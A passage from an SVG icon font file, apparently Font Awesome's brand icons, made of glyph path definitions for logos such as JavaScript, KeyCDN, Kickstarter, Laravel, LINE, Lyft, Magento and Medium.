c-3.09961 20.8994 16.5996 22.0996 29.2002 31.0996c19.5 14 34.7998 21.7998 55.8994 34.2998c6.30078 3.7998 25.1006 13.2002 27.3008 17.6006c4.2998 8.69922 -7.30078 20.8994 -10.4004 27.6992c-4.90039 10.7002 -7.5 19.8008 -8.2002 30.4004
c-17.7002 2.7998 -31.0996 13.2998 -39.2002 25.2002c-13.3994 19.7002 -22.6992 56 -11.0996 83.7002c0.900391 2.19922 5.40039 6.5 6.09961 9.7998c1.40039 6.59961 -2.5 15.3994 -2.69922 22.3994c-1.2002 36 6.09961 67 30.2998 77.8008
c9.7998 39.0996 45 52.1992 78.0996 71.5996c12.2998 7.2998 26 11.9004 40.1006 17.0996c50.5 18.7002 128.1 15.1006 170.1 -16.5996c17.7998 -13.5 46.2002 -41.9004 56.4004 -62.5c26.8994 -54.2998 25 -145.1 6.19922 -211.2
c-2.5 -8.89941 -6.19922 -21.8994 -11.2998 -32.5996c-3.59961 -7.40039 -14.7002 -22.2998 -13.2998 -28.9004c1.40039 -6.7998 25.2998 -24.8994 30.4004 -29.8994c9.19922 -8.80078 26.7998 -20.7002 28.1992 -31.9004zM205.9 414.3
c-33.2002 -9.39941 -75.7002 -33.5 -89.3008 -63.3994c10.6006 1.5 17.9004 6.7998 28.3008 7.5c3.89941 0.299805 9.09961 -1.60059 13.5996 -0.5c9 2.2998 16.5996 22.5 23.4004 30c6.59961 7.39941 14.5996 10.5 20 17.1992c3.5 1.7002 8.69922 1.60059 8.89941 6.80078
c-1.5 1.69922 -3.09961 2.89941 -4.89941 2.39941zM101.1 320.7c-14.6992 -16.1006 -11.5996 -46.2998 -9.7998 -67.7998c26.5 16.6992 61.6006 -1.30078 61.2998 -29.6006c12.6006 0.299805 4.7002 15.7998 2.40039 25.7002c-7.5 32.5996 12.5996 67.9004 0.900391 97.5996
c-22.7002 -1.7998 -41.3008 -11 -54.8008 -25.8994zM137.8 120.5c4.90039 -20 15.7002 -46 26.2998 -61.4004c13.6006 -19.3994 40.1006 -22.2998 68.7002 -24.1992c5.10059 11 23.9004 10.0996 36.2002 7.19922c-14.7002 5.80078 -28.4004 19.9004 -39.7002 32.4004
c-13 14.2998 -26.0996 29.7002 -26.7998 48.4004c24.5 -34 44.7998 -63.8008 89.5 -78.8008c33.7998 -11.2998 73.2002 5.2002 99.2002 23.4004c10.7998 7.59961 17.2002 19.5996 24.8994 30.5996c28.7002 41.2002 42 100.101 39.1006 157.101
c-1.2002 23.5 -1.10059 47 -9 62.7998c-8.2998 16.5996 -36.2002 31.2998 -52.5 16.4004c-3 16.0996 13.5996 26.0996 33.0996 20.2998c-13.8994 18 -28.5996 39.5996 -48.2998 50.7002c-34.4004 19.5 -92.7002 34.0996 -129.3 15.7998
c-29.6006 -14.7002 -69.5 -39.1006 -83.1006 -70c12.7002 -29.7998 -3.7998 -57.1006 -4.7998 -87.4004c-0.599609 -16.0996 7.60059 -30.2002 8.2002 -47.7002c-4.40039 -7.19922 -17.7002 -8.09961 -26.9004 -7.59961c-3.09961 15.5 -8.5 32.9004 -24.5 34.7002
c-22.5 2.39941 -39.0996 -16.2998 -40.0996 -35.7998c-1.2002 -23 17.7002 -61 44.4004 -58.4004c10.2998 1.09961 12.7998 11.4004 24.0996 11.2998c6.09961 -12.2002 -9.40039 -16 -11 -24.7002c-0.400391 -2.19922 1.2998 -11 2.2998 -15.0996zM359.8 -3.59961
c-1.59961 -4.40039 0.299805 -10.4004 -0.599609 -16.5c14.8994 -4.2002 31.8994 -6.40039 50.7002 -7c3.69922 4.7998 4.89941 13.7998 4.5 22.7998c-0.600586 10.7998 -3.40039 33.0996 -10.1006 37c-14.0996 8.2002 -39 -16.5 -49.5996 -20.2998
c1.2002 -3.40039 3.09961 -6 3.2002 -10.2002c6.2998 1.5 13.8994 0.5 19.2998 -2.2002c-6.2998 -0.700195 -13.2998 -0.599609 -17.4004 -3.59961zM342.6 16.4004c7.60059 5.5 14.3008 12 22.2002 17.0996c-18.2002 -1.59961 -41 -12.9004 -59 -4.90039
c-0.0996094 -0.899414 -1.2998 -0.599609 -1.5 -1.39941c12.2998 -9.60059 21.5 -11.6006 38.2998 -10.7998zM330.5 -16.7998c26.9004 -8.40039 22.2002 36.7998 -2.7998 20.2002c-0.700195 -8.2002 1.2002 -10.8008 2.7998 -20.2002zM226 9.40039
c0 6.19922 3.59961 12 2.7998 16.3994c-13.7998 2.40039 -31.8994 0.799805 -41.2998 7.2998c-9.59961 -9.69922 26.9004 -23 38.5 -23.6992zM57.7002 -49.0996v-0.100586h180.7c-0.800781 2.5 -1.5 4.90039 -2.2002 7.2002c-4.7998 15.2998 -7.5 26.7002 -8.7002 35.5
c-19.2002 9.2002 -39.7002 18.5 -56.2002 30.2002c-3 2.2002 -23.3994 28.7002 -26.2002 27.5996c-36.8994 -14.5996 -71.3994 -39.7002 -102.199 -63.5c5.59961 -11.7998 10.5 -24.2002 14.7998 -36.8994zM298.3 -54.7998h-0.799805
c0.299805 0.200195 0.5 0.399414 0.799805 0.5v-0.5zM305.8 -49.0996h9.60059c-1 1.5 -2.10059 2.89941 -3.2002 4.2998c-2.10059 -1.5 -4.2998 -2.90039 -6.40039 -4.2998zM320.9 -24.4004c0.0996094 3.60059 0.299805 7.2002 0.399414 10.6006
c-6.5 3.2002 -14 5.5 -23.5 5.89941c6.5 3.30078 15.9004 3.2002 21.7998 7.10059c0.100586 1.5 0.100586 2.89941 0.200195 4.2998c-10.7998 0.900391 -14.7998 5.59961 -21.8994 9.5c-11.6006 6.40039 -29 13.2002 -43.9004 16.0996
c-18.5 3.60059 -16.7998 -25.1992 -16 -42.3994c0.700195 -13.6006 7.7002 -28 10.7998 -37c1.5 -4.2002 1.7998 -8.7002 5.40039 -9.5c6.39941 -1.5 27.3994 6.89941 33.3994 10.2002c12.7002 6.89941 22.5 17.8994 33.3008 25.1992zM374.3 -49.0996l0.600586 12.5996
c-11.2002 -0.700195 -17.5 10.2002 -25.4004 11c-6.90039 0.700195 -12.7002 -7.90039 -21.7002 -4.2002c-2 -2.2002 -3.89941 -4.7002 -6 -6.89941c3.2002 -3.90039 6.10059 -8.10059 8.90039 -12.5h17.3994c0.200195 3.19922 2.80078 5.7998 6.10059 5.7998
s6 -2.60059 6.09961 -5.7998h14zM383 -49.0996h36.2998c-6.7002 10.1992 -20.0996 18.7998 -35.7002 11.5c-0.199219 -3.7002 -0.399414 -7.5 -0.599609 -11.5zM466.4 -12.0996c1.19922 6.19922 4.59961 19.5996 3.7998 25.0996
c-1.40039 9.7998 -14.6006 17.0996 -21.4004 23.0996c-12.3994 11.1006 -20.2002 21 -33.2002 31.4004c-5.19922 -7.7998 -16.5 -13 -20.7998 -19.2998c30.7002 14.8994 36.2998 -55.7998 24.2002 -78.5c1.90039 -6.7998 8.2998 -9.40039 10.9004 -15.5
c-0.700195 -1.10059 -1.30078 -2.2002 -1.90039 -3.2998h27.9004c0.199219 0 0.399414 0 0.599609 -0.100586c4.09961 13.1006 7.59961 25.9004 9.90039 37.1006zM222.2 317.5c5.39941 14.9004 27.2002 34.7002 45 32c7.7002 -1.2002 18 -8.2002 12.2002 -17.7002
c-30.2002 7 -45.2002 -12.5996 -54.4004 -33.0996c-8.09961 2 -4.90039 13.0996 -2.7998 18.7998zM406.3 254.4c8.2002 3.59961 22.4004 0.699219 29.6006 5.2998c-4.2002 11.5 -10.3008 21.3994 -9.30078 37.7002c0.5 0 1 0 1.40039 -0.100586
c6.7998 -14.2002 12.7002 -29.2002 21.4004 -41.7002c-5.7002 -13.5 -43.6006 -25.3994 -43.1006 -1.19922zM309.5 251.7c-6.7998 10.8994 -19 32.5 -14.5 45.2998c6.5 -11.9004 8.59961 -24.4004 17.7998 -33.2998c4.10059 -4 12.2002 -9 8.2002 -20.2002
c-0.900391 -2.7002 -7.7998 -8.59961 -11.7002 -9.7002c-14.3994 -4.2998 -47.8994 -0.899414 -36.5996 17.1006c11.8994 -0.700195 27.8994 -7.80078 36.7998 0.799805zM336.8 181.7c3.7998 -6.60059 1.40039 -18.7002 12.1006 -20.6006
c20.1992 -3.39941 43.5996 12.3008 58.0996 17.8008c9 15.1992 -0.799805 20.6992 -8.90039 30.5c-16.5996 20 -38.7998 44.7998 -38 74.6992c6.7002 4.90039 7.30078 -7.39941 8.2002 -9.69922c8.7002 -20.3008 30.4004 -46.2002 46.2998 -63.5
c3.90039 -4.30078 10.3008 -8.40039 11 -11.2002c2.10059 -8.2002 -5.39941 -18 -4.5 -23.5c-21.6992 -13.9004 -45.7998 -29.1006 -81.3994 -25.6006c-7.40039 6.7002 -10.2998 21.4004 -2.90039 31.1006zM135.5 190.9c-6.7998 3.89941 -8.40039 21 -16.4004 21.3994
c-11.3994 0.700195 -9.2998 -22.2002 -9.2998 -35.5c-7.7998 7.10059 -9.2002 29.1006 -3.5 40.2998c-6.59961 3.2002 -9.5 -3.59961 -13.0996 -5.89941c4.7002 34.0996 49.7998 15.7998 42.2998 -20.2998zM435.1 162.1c-10.0996 -19.1992 -24.3994 -40.3994 -54 -41
c-0.599609 6.2002 -1.09961 15.6006 0 19.4004c22.7002 2.2002 36.6006 13.7002 54 21.5996zM293.2 149.7c18.8994 -9.90039 53.5996 -11 79.2998 -10.2002c1.40039 -5.59961 1.2998 -12.5996 1.40039 -19.4004c-33 -1.7998 -72 6.40039 -80.7002 29.6006zM385.4 103
c-1.7002 -4.2998 -5.30078 -9.2998 -9.80078 -11.0996c-12.0996 -4.90039 -45.5996 -8.7002 -62.3994 0.299805c-10.7002 5.7002 -17.5 18.5 -23.4004 26c-2.7998 3.59961 -16.8994 12.8994 -0.200195 12.8994c13.1006 -32.6992 58 -29 95.8008 -28.0996z" />
    <glyph glyph-name="joget" unicode="&#xf3b7;" horiz-adv-x="496" 
d="M378.1 403c116.601 -71.7998 152.9 -224.6 81 -341.2c-71.8994 -116.5 -224.6 -152.8 -341.199 -80.8994c-116.601 71.8994 -152.9 224.6 -81 341.199c46.8994 76 128.1 117.9 211.3 117.9c44.3994 0 89.3994 -11.9004 129.899 -37zM429.9 79.7998
c5.2998 8.7002 9.89941 17.6006 13.8994 26.6006c-32.0996 -1.10059 -157.1 1.5 -208.8 -17.6006c-58.4004 -21.5 -36.9004 -53.3994 -31.2002 -67.0996c3.7998 -9.10059 14.7002 -28.7998 23.7002 -42.4004c6.7998 -0.599609 13.5996 -1 20.4004 -1
c71.5996 0 141.6 36 182 101.5zM229.1 166.1c51 -1.2998 205.4 -4.39941 230.301 -4.89941c11.8994 81.7998 -24.5 166.6 -99.3008 212.7c-100.5 61.8994 -232.1 30.6992 -294 -69.8008c-28.5996 -46.3994 -37.2998 -99.3994 -28.5 -149.1
c11 40.9004 49.7002 131.5 178.301 140.2c50.8994 4 41.5 -19.2002 23.5996 -29.7002c-17.7998 -10.5 -45.7002 -23.7998 -68.9004 -51.2002c-23.1992 -27.3994 3 -46.7998 58.5 -48.2002zM412.9 220.9c22.6992 -6 19.0996 -15.5 19.0996 -15.5l-46.5 -23.4004
l-169.5 -1.59961s33.7998 10.7998 65.2998 31.2998c26 16.8994 49.7002 35.5996 67.5 35.5996c3.7002 0 7.2002 -0.899414 10.4004 -2.7002c18.5 -10.5996 -2.90039 -18.1992 -13.4004 -24.5996s-50.7002 -34.5 -50.7002 -34.5s1.40039 -7.59961 31.1006 8.2002
c29.7002 15.8994 64 33.2002 86.7002 27.2002z" />
    <glyph glyph-name="js" unicode="&#xf3b8;" 
d="M0 416h448v-448h-448v448zM243.8 66.5996v143.7h-42.0996v-143.1c0 -21.1006 -8.7998 -26.5 -22.6006 -26.5c-14.5 0 -20.5 9.89941 -27.0996 21.5996l-34.2998 -20.7002c10 -21.0996 29.5 -38.5 63.2002 -38.5c37.2998 0 62.8994 19.9004 62.8994 63.5zM343.4 3.09961
c39.8994 0 69.6992 20.8008 69.6992 58.6006c0 35.2002 -20.0996 50.8994 -55.8994 66.2002l-10.5 4.5c-18.1006 7.89941 -25.9004 13 -25.9004 25.5996c0 10.2002 7.7998 18 20.1006 18c12.0996 0 19.8994 -5.09961 27.0996 -18l32.7998 21
c-13.7998 24.4004 -33 33.7002 -59.7998 33.7002c-37.5 0 -61.5996 -24 -61.5996 -55.6006c0 -34.2998 20.0996 -50.5996 50.5 -63.5l10.5 -4.5c19.2998 -8.5 30.6992 -13.5996 30.6992 -28c0 -12.0996 -11.1992 -20.7998 -28.5996 -20.7998
c-20.7002 0 -32.5 10.9004 -41.5 25.6006l-34.2998 -19.8008c12.2998 -24.3994 37.5996 -43 76.7002 -43z" />
    <glyph glyph-name="js-square" unicode="&#xf3b9;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM243.8 66.5996v143.7h-42.0996v-143.1c0 -21.1006 -8.7998 -26.5 -22.6006 -26.5c-14.5 0 -20.5 9.89941 -27.0996 21.5996
l-34.2998 -20.7002c10 -21.0996 29.5 -38.5 63.2002 -38.5c37.2998 0 62.8994 19.9004 62.8994 63.5zM343.4 3.09961c39.8994 0 69.6992 20.8008 69.6992 58.6006c0 35.2002 -20.0996 50.8994 -55.8994 66.2002l-10.5 4.5c-18.1006 7.89941 -25.9004 13 -25.9004 25.5996
c0 10.2002 7.7998 18 20.1006 18c12.0996 0 19.8994 -5.09961 27.0996 -18l32.7998 21c-13.7998 24.4004 -33 33.7002 -59.7998 33.7002c-37.5 0 -61.5996 -24 -61.5996 -55.6006c0 -34.2998 20.0996 -50.5996 50.5 -63.5l10.5 -4.5
c19.2998 -8.5 30.6992 -13.5996 30.6992 -28c0 -12.0996 -11.1992 -20.7998 -28.5996 -20.7998c-20.7002 0 -32.5 10.9004 -41.5 25.6006l-34.2998 -19.8008c12.2998 -24.3994 37.5996 -43 76.7002 -43z" />
    <glyph glyph-name="keycdn" unicode="&#xf3ba;" horiz-adv-x="512" 
d="M63.7998 38.7002l60.5 59c32.1006 -42.7998 71.1006 -66 126.601 -67.4004c30.5 -0.700195 60.2998 7 86.3994 22.4004c5.10059 -5.2998 18.5 -19.5 20.9004 -22c-32.2002 -20.7002 -69.6006 -31.1006 -108.101 -30.2002
c-43.2998 1.09961 -84.5996 16.7002 -117.699 44.4004c0.299805 0.599609 -38.2002 -37.5 -38.6006 -37.9004c9.5 -29.7998 -13.0996 -62.4004 -46.2998 -62.4004c-26.7998 0.100586 -47.5 21.7002 -47.5 48.5c0 34.3008 33.0996 56.6006 63.7998 45.6006zM418.7 291.1
c19.0996 -31.2998 29.5996 -67.3994 28.7002 -104c-1.10059 -44.7998 -19 -87.5 -48.6006 -121c0.299805 -0.299805 23.7998 -25.1992 24.1006 -25.5c9.59961 1.30078 19.1992 -2 25.8994 -9.09961c11.2998 -12 10.9004 -30.9004 -1.09961 -42.4004
c-12 -11.2998 -30.9004 -10.8994 -42.4004 1.10059c-6.7002 7 -9.39941 16.7998 -7.59961 26.2998c-24.9004 26.5996 -44.4004 47.2002 -44.4004 47.2002c42.7002 34.0996 63.2998 79.5996 64.4004 124.2c0.700195 28.8994 -7.2002 57.1992 -21.1006 82.1992zM104 394.9
c6.7002 -7 9.40039 -16.8008 7.59961 -26.3008l45.9004 -48.0996c-4.7002 -3.7998 -13.2998 -10.4004 -22.7998 -21.2998c-25.4004 -28.5 -39.6006 -64.7998 -40.7002 -102.9c-0.700195 -28.8994 6.09961 -57.2002 20 -82.3994l-22 -21.5
c-19.2998 31.5996 -28.9004 67.6992 -27.7998 104.699c1 44.6006 18.2998 87.6006 47.5 121.101l-25.2998 26.3994c-9.60059 -1.2998 -19.2002 2 -25.9004 9.10059c-11.2998 12 -10.9004 30.8994 1.09961 42.3994c11.9004 11.2002 30.6006 10.9004 42.4004 -1.19922z
M464.9 440c26 0 47.0996 -22.4004 47.0996 -48.2998c0 -25.9004 -21.0996 -47.7002 -47.0996 -47.7002c-6.30078 -0.0996094 -14 1.09961 -15.9004 1.7998l-62.9004 -59.7002c-32.6992 43.6006 -76.6992 65.9004 -126.899 67.2002
c-30.5 0.700195 -60.2998 -6.7998 -86.2002 -22.3994l-21.0996 22c32.1992 20.7998 69.5996 31.0996 108.1 30.1992c43.2998 -1.09961 84.5996 -16.6992 117.7 -44.5996l41.0996 38.5996c-1.5 4.7002 -2.2002 9.60059 -2.2002 14.5
c-0.0996094 26.7002 22.3008 48.4004 48.3008 48.4004zM256.7 334.6c5.5 0 10.8994 -0.399414 16.3994 -1.09961c78.1006 -9.7998 133.4 -81.0996 123.801 -159.1c-9.80078 -78.1006 -81.1006 -133.4 -159.101 -123.801c-78.0996 9.80078 -133.399 81.1006 -123.8 159.2
c9.2998 72.4004 70.0996 124.601 142.7 124.8zM197.7 215.2c0.599609 -22.7002 12.2002 -41.7998 32.3994 -52.2002l-11 -51.7002h73.7002l-11 51.7002c20.1006 10.9004 32.1006 29 32.4004 52.2002c-0.400391 32.7998 -25.7998 57.5 -58.2998 58.2998
c-32.1006 -0.799805 -57.3008 -24.7998 -58.2002 -58.2998zM256 288z" />
    <glyph glyph-name="kickstarter" unicode="&#xf3bb;" 
d="M400 -32h-352c-26.4004 0 -48 21.5996 -48 48v352c0 26.4004 21.5996 48 48 48h352c26.4004 0 48 -21.5996 48 -48v-352c0 -26.4004 -21.5996 -48 -48 -48zM199.6 269.5c0 30.7002 -17.5996 45.0996 -39.6992 45.0996c-25.8008 0 -40 -19.7998 -40 -44.5v-154.8
c0 -25.7998 13.6992 -45.5996 40.5 -45.5996c21.5 0 39.1992 14 39.1992 45.5996v41.7998l60.6006 -75.6992c12.2998 -14.9004 39 -16.8008 55.7998 0c14.5996 15.0996 14.7998 36.7998 4 50.3994l-49.0996 62.7998l40.5 58.7002c9.39941 13.5 9.5 34.5 -5.60059 49.1006
c-16.3994 15.8994 -44.5996 17.2998 -61.3994 -7l-44.8008 -64.7002v38.7998z" />
    <glyph glyph-name="kickstarter-k" unicode="&#xf3bc;" horiz-adv-x="384" 
d="M147.3 333.6v-70.5996l82.7998 118.2c31.2002 44.3994 83.3008 41.7998 113.601 12.7998c27.8994 -26.7002 27.7998 -65.0996 10.3994 -89.7998l-74.8994 -107.4l90.7998 -114.8c19.9004 -24.7998 19.5996 -64.5996 -7.40039 -92.2002
c-31.0996 -30.7002 -80.5 -27.2002 -103.199 0l-112.101 138.3v-76.5c0 -57.7998 -32.5996 -83.3994 -72.3994 -83.3994c-49.6006 0 -74.9004 36.0996 -74.9004 83.3994v283c0 45.2002 26.2002 81.4004 73.9004 81.4004c40.8994 0 73.3994 -26.2002 73.3994 -82.4004z" />
    <glyph glyph-name="laravel" unicode="&#xf3bd;" horiz-adv-x="512" 
d="M504.4 332.17c0.131836 -0.549805 0.240234 -1.45605 0.240234 -2.02246c0 -0.0185547 0 -0.0488281 -0.000976562 -0.0673828v-109.85c0.000976562 -0.0205078 0.000976562 -0.0527344 0.000976562 -0.0722656c0 -2.5498 -1.79199 -5.65332 -4.00098 -6.92773
l-92.2393 -53.1104v-105.26v-0.0224609c0 -2.54883 -1.79199 -5.65332 -4 -6.92773l-192.561 -110.84c-0.37207 -0.194336 -0.999023 -0.454102 -1.39941 -0.580078c-0.180664 -0.0605469 -0.350586 -0.169922 -0.550781 -0.220703
c-0.555664 -0.148438 -1.47363 -0.269531 -2.0498 -0.269531c-0.575195 0 -1.49414 0.121094 -2.0498 0.269531c-0.219727 0.0605469 -0.419922 0.180664 -0.629883 0.260742c-0.378906 0.119141 -0.975586 0.360352 -1.33008 0.540039l-192.5 110.84
c-2.20801 1.27441 -4 4.37891 -4 6.92773v0.0224609v329.699c0.00195312 0.589844 0.126953 1.53125 0.280273 2.10059c0.0693359 0.189453 0.199219 0.489258 0.290039 0.669922c0.111328 0.354492 0.339844 0.910156 0.509766 1.24023
c0.149414 0.259766 0.370117 0.469727 0.549805 0.719727c0.177734 0.270508 0.496094 0.6875 0.709961 0.929688c0.208008 0.179688 0.561523 0.448242 0.790039 0.600586c0.226562 0.210938 0.621094 0.520508 0.879883 0.689453v0l96.2705 55.4199
c1.02441 0.591797 2.81641 1.07227 4 1.07227c1.18262 0 2.97461 -0.480469 4 -1.07227l96.29 -55.4199v0c0.25293 -0.173828 0.647461 -0.478516 0.879883 -0.679688c0.223633 -0.154297 0.573242 -0.422852 0.779297 -0.599609
c0.21582 -0.24707 0.538086 -0.667969 0.720703 -0.94043c0.169922 -0.25 0.399414 -0.459961 0.540039 -0.719727c0.170898 -0.331055 0.404297 -0.886719 0.519531 -1.24023c0.0800781 -0.230469 0.219727 -0.44043 0.280273 -0.679688
c0.154297 -0.561523 0.280273 -1.48926 0.280273 -2.07129v-0.0195312v-205.93l80.2197 46.1904v105.239c0.00195312 0.584961 0.126953 1.5166 0.280273 2.08008c0.0693359 0.240234 0.199219 0.450195 0.279297 0.680664
c0.120117 0.354492 0.352539 0.915039 0.520508 1.25c0.149414 0.259766 0.370117 0.469727 0.540039 0.709961c0.179688 0.270508 0.50293 0.6875 0.719727 0.929688c0.205078 0.179688 0.553711 0.448242 0.780273 0.599609
c0.229492 0.208008 0.624023 0.516602 0.879883 0.69043v0l96.2803 55.4502c1.02441 0.591797 2.81641 1.07129 4 1.07129c1.18262 0 2.97461 -0.479492 4 -1.07129l96.2598 -55.4199c0.259766 -0.171875 0.663086 -0.476562 0.899414 -0.680664
c0.25 -0.199219 0.540039 -0.379883 0.770508 -0.599609c0.214844 -0.24707 0.538086 -0.667969 0.719727 -0.94043c0.164062 -0.18457 0.40625 -0.50293 0.540039 -0.709961c0.173828 -0.333008 0.411133 -0.892578 0.530273 -1.25
c0.0888672 -0.182617 0.214844 -0.487305 0.280273 -0.679688zM111.6 430.72l-80.1895 -46.1602l80.1797 -46.1699l80.2002 46.1807l-80.1904 46.1494v0zM199.85 370.72l-33.6895 -19.4297l-46.5303 -26.79v-201.29l33.6904 19.4004l46.5293 26.79v201.319zM199.85 -42.0596
l-0.109375 92.3594l-92.1904 52.1807v0v0c-0.248047 0.166992 -0.633789 0.462891 -0.859375 0.65918c-0.25 0.200195 -0.540039 0.360352 -0.770508 0.580078v0c-0.198242 0.219727 -0.494141 0.595703 -0.660156 0.839844
c-0.177734 0.206055 -0.446289 0.555664 -0.599609 0.780273v0c-0.139648 0.266602 -0.328125 0.713867 -0.419922 1c-0.125977 0.240234 -0.295898 0.643555 -0.379883 0.900391v0c-0.0683594 0.322266 -0.140625 0.850586 -0.160156 1.17969
c-0.0498047 0.246094 -0.103516 0.649414 -0.120117 0.900391v215.18l-46.5205 26.7998l-33.6895 19.3799v-311.18zM207.85 64.1104l117.62 67.1494l58.7998 33.5605l-80.1299 46.1299l-92.2598 -53.1104l-84.0898 -48.4102zM392.37 59.54v91.4102l-45.7705 -26.1504
l-130.72 -74.5996v-92.3105zM392.37 178.67v91.3301l-46.5303 26.8096l-33.6895 19.4004v-91.4199l46.5293 -26.79zM400.37 283.95l80.1797 46.1797l-80.1797 46.1504l-80.2002 -46.1602zM408.37 178.67l80.3096 46.1504v0v91.3896l-33.6797 -19.4004l-46.6299 -26.8096
v-91.3301z" />
    <glyph glyph-name="line" unicode="&#xf3c0;" 
d="M272.1 243.8v-71.0996c0 -1.7998 -1.39941 -3.2002 -3.19922 -3.2002h-11.4004c-1.09961 0 -2.09961 0.599609 -2.59961 1.2998l-32.6006 44v-42.2002c0 -1.7998 -1.39941 -3.19922 -3.2002 -3.19922h-11.3994c-1.7998 0 -3.2002 1.39941 -3.2002 3.19922v71.1006
c0 1.7998 1.40039 3.2002 3.2002 3.2002h11.2998c1 0 2.09961 -0.5 2.59961 -1.40039l32.6006 -44v42.2002c0 1.7998 1.39941 3.2002 3.2002 3.2002h11.3994c1.7998 0.0996094 3.2998 -1.40039 3.2998 -3.10059zM190.1 247c1.80078 0 3.2002 -1.5 3.2002 -3.2002v-71.0996
c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-11.3994c-1.7998 0 -3.2002 1.40039 -3.2002 3.2002v71.0996c0 1.7998 1.40039 3.2002 3.2002 3.2002h11.3994zM162.6 187.4c1.7002 0 3.10059 -1.5 3.10059 -3.2002v-11.4004c0 -1.7998 -1.40039 -3.2002 -3.2002 -3.2002
h-45.7002c-0.899414 0 -1.59961 0.400391 -2.2002 0.900391c-0.599609 0.599609 -0.899414 1.2998 -0.899414 2.2002v71.0996c0 1.7998 1.39941 3.2002 3.2002 3.2002h11.3994c1.7998 0 3.2002 -1.40039 3.2002 -3.2002v-56.3994h31.0996zM332.1 247
c1.7002 0 3.10059 -1.5 3.2002 -3.2002v-11.3994c0 -1.80078 -1.39941 -3.2002 -3.2002 -3.2002h-31.0996v-12h31.0996c1.80078 0 3.2002 -1.40039 3.2002 -3.2002v-11.5c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-31.0996v-12h31.0996
c1.80078 0 3.2002 -1.39941 3.2002 -3.2002v-11.3994c0 -1.7998 -1.39941 -3.2002 -3.2002 -3.2002h-45.6992c-1.80078 0 -3.2002 1.5 -3.2002 3.2002v71.0996c0 1.7998 1.5 3.2002 3.2002 3.2002h45.6992zM448 334.3v-285.3
c-0.0996094 -44.7998 -36.7998 -81.0996 -81.7002 -81h-285.3c-44.7998 0.0996094 -81.0996 36.9004 -81 81.7002v285.3c0.0996094 44.7998 36.9004 81.0996 81.7002 81h285.3c44.7998 -0.0996094 81.0996 -36.7998 81 -81.7002zM386.4 211.7
c0 73 -73.2002 132.399 -163.101 132.399c-89.8994 0 -163.1 -59.3994 -163.1 -132.399c0 -65.4004 58 -120.2 136.399 -130.601c19.1006 -4.09961 16.9004 -11.0996 12.6006 -36.7998c-0.700195 -4.09961 -3.2998 -16.0996 14.0996 -8.7998
c17.4004 7.2998 93.9004 55.2998 128.2 94.7002c23.5996 26 34.9004 52.2998 34.9004 81.5z" />
    <glyph glyph-name="lyft" unicode="&#xf3c3;" horiz-adv-x="512" 
d="M0 366.9h77.7998v-208.7c0 -33.1006 15 -52.7998 27.2002 -61c-12.7002 -11.1006 -51.2002 -20.9004 -80.2002 2.7998c-17 14 -24.7998 37.2998 -24.7998 59v207.9zM485.9 193.4c0 -14.2002 11.5996 -25.9004 26.0996 -25.9004v-76.5
c-56.7002 0 -102.7 46.0996 -102.7 102.7v77.0996c0 34.6006 -52.2002 34.6006 -52.2002 0v-23.2998h38.8008v-76.7998h-38.8008v-6.7002c0 -21.7998 -7.69922 -45 -24.7998 -59c-16.2998 -13.7002 -35.7002 -16.2998 -51.7002 -14v179.2
c0 56.7002 46.1006 102.7 102.7 102.7c49.1006 0 90.2002 -34.4004 100.3 -80.7002h26.1006v-76.7998h-23.7998v-22zM191.6 292.4v0.5h77.1006v-178.2c0 -52.4004 -29.7002 -91.7002 -76.7998 -100.8c-26.1006 -5.10059 -52.5 -2.80078 -77.6006 4.69922v70.3008
c9.7998 -4.2002 29.5 -9.40039 45 -7.80078c20.4004 2 32.7998 11.9004 34.9004 25.3008c0 0 -21.2002 -20.4004 -58.2002 -10.6006c-37 9.90039 -45 40.1006 -45 63.9004v132.7h76.7998v-113c0 -15.4004 23.7998 -15.4004 23.7998 0v113z" />
    <glyph glyph-name="magento" unicode="&#xf3c4;" 
d="M445.7 320.1v-256.1l-63.4004 -36.5v255.8l-158.5 91.6006l-158.6 -91.6006l0.399414 -255.899l-63.2998 36.5996v255.9l221.9 128.1zM255.6 27.5v255.9l63.4004 -36.6006v-256l-95.0996 -54.8994l-94.9004 54.8994l-0.0996094 255.9l63.2998 36.5996v-256
l31.7998 -18.2002z" />
    <glyph glyph-name="medapps" unicode="&#xf3c6;" horiz-adv-x="320" 
d="M118.3 209.6c3.5 12.5 6.90039 33.6006 13.2002 33.6006c8.2998 -1.7998 9.59961 -23.4004 18.5996 -36.6006c4.60059 23.5 5.30078 85.1006 14.1006 86.7002c9 0.700195 19.7002 -66.5 22 -77.5c9.89941 -4.09961 48.8994 -6.59961 48.8994 -6.59961
c1.90039 -7.2998 -24 -7.60059 -40 -7.7998c-4.59961 -14.8008 -5.39941 -27.7002 -11.3994 -28c-4.7002 -0.200195 -8.2002 28.7998 -17.5 49.5996l-9.40039 -65.5c-4.39941 -13 -15.5 22.5 -21.8994 39.2998c-3.30078 0.100586 -62.4004 1.60059 -47.6006 7.7998zM228 0
h-136c-21.2002 0 -21.2002 32 0 32h136c21.2002 0 21.2002 -32 0 -32zM204 -64h-88c-21.2002 0 -21.2002 32 0 32h88c21.2002 0 21.2002 -32 0 -32zM238.2 77.5c-3.60059 -21.2998 -36 -15.5 -32.6006 5.09961c3.60059 21.2002 5.60059 40.6006 15.3008 58.6006
c32.5996 60.2998 66.0996 95.5 66.0996 151.6c0 67.9004 -57 123.2 -127 123.2s-127 -55.2998 -127 -123.2c0 -56.0996 33.5 -91.2998 66.0996 -151.7c9.7002 -17.8994 11.7002 -36.8994 15.3008 -58.5996c3.5 -20.7998 -29.1006 -26.0996 -32.6006 -5.09961
c-3.2002 19.0996 -5.2002 36.3994 -11.8994 48.8994c-8 14.7002 -16.1006 28.1006 -24 41c-24.6006 40.4004 -45.9004 75.2998 -45.9004 125.5c0 85.6006 71.7998 155.2 160 155.2s160 -69.5996 160 -155.2c0 -50.2998 -21.2998 -85.0996 -45.9004 -125.5
c-7.89941 -12.8994 -16.0996 -26.2998 -24 -41c-6.69922 -12.3994 -8.69922 -29.8994 -11.8994 -48.7998z" />
    <glyph glyph-name="medium-m" unicode="&#xf3c7;" horiz-adv-x="512" 
